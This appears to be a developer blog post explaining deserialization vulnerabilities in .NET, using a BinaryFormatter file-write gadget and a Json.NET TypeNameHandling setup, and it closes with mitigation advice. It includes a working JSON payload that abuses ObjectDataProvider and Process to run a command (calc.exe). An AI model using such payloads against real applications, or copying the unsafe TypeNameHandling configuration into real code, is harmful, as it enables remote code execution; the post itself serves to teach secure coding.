Deserialization Vulnerabilities

In our day to day of application development we need to deal with a lot of data deserialization, usually as JSON or XML. I want to showcase some ways improper configuration or lack of validation can lead to security vulnerabilities.

Although these issues are not particular to any language, I will be demonstrating them in the context of the Json.NET library and BinaryFormatter.

BinaryFormatter

BinaryFormatter is a class available in .NET to serialize an object, or a graph of them, into a binary format. We will create a class that will be serialized and then read back, and another class that won’t be serialized.

 1// When this class is dispose, it will write Contents to disk
 2[Serializable]
 3class LogWriter : IDisposable
 4{
 5    private string _path = "C:/log.txt";
 6
 7    public string Contents { get; set; }
 8
 9    ~LogWriter()
10    {
11        Dispose();
12    }
13
14    public void Dispose()
15    {
16        File.WriteAllText(_path, Contents);
17    }
18}
19
20// This could be any serializable class
21[Serializable]
22class SerializableClass
23{
24}
25
26private static void Serialize()
27{
28    var fs = new FileStream("SerializableClass.dat", FileMode.Create);
29    BinaryFormatter formatter = new BinaryFormatter();
30    formatter.Serialize(fs, new SerializableClass());
31}
32
33private static void Deserialize()
34{
35    var fs = new FileStream("SerializableClass.dat", FileMode.Open);
36    BinaryFormatter formatter = new BinaryFormatter();
37    SerializableClass a = (SerializableClass)formatter.Deserialize(fs);
38}

Notice how LogWriter writes the logs when it’s disposed. If we change the SerializableClass.dat to instead be a serialization of a modified version of LogWriter, we can write a file with the contents we want anywhere the program has write access to.

I’ll change the following:

1private string _path = "C:/log2.txt";
2public string Contents { get; set; } = "Hello"

I will then serialize the file as SerializableClass.dat. When the program runs it will try to deserialize the file, an exception will be thrown when trying to cast the object to SerializableClass. This will lead to the Dispose method being called, and thus we will write “Hello” into “C:/log2.txt”.

Json.NET

When using Json.NET, some ways of doing deserialization can lead to code execution. This is an issue if you use TypeNameHandling setting with a value other than None and try to deserialize JSON using either:

  • a dynamic type
  • an object type
  • the non generic version of DeserializeObject

Here’s some JSON that will open a calculator:

1{
2    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
3    'MethodName':'Start',
4    'MethodParameters':{
5        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
6        '$values':['cmd','/ccalc']
7    },
8    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
9}

We could run any application, and there are other ways to do it. In this case we used the ObjectDataProvider class.

1JsonConvert.DefaultSettings = () =>
2                new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto };
3JsonConvert.DeserializeObject<object>(json);
4//JsonConvert.DeserializeObject<dynamic>(json);
5//JsonConvert.DeserializeObject(json);

This is not a security issue in Json.NET, but it shows how improper configuration can lead to code execution.

Conclusion

Deserialization attacks are a real risk if you deserialize untrusted data, and some forms of it such as BinaryFormatter are inherently unsafe. You can mitigate this by signing files, and for Json.NET, never using TypeNameHandling in the aforementioned ways.

Built with Hugo
Theme Stack designed by Jimmy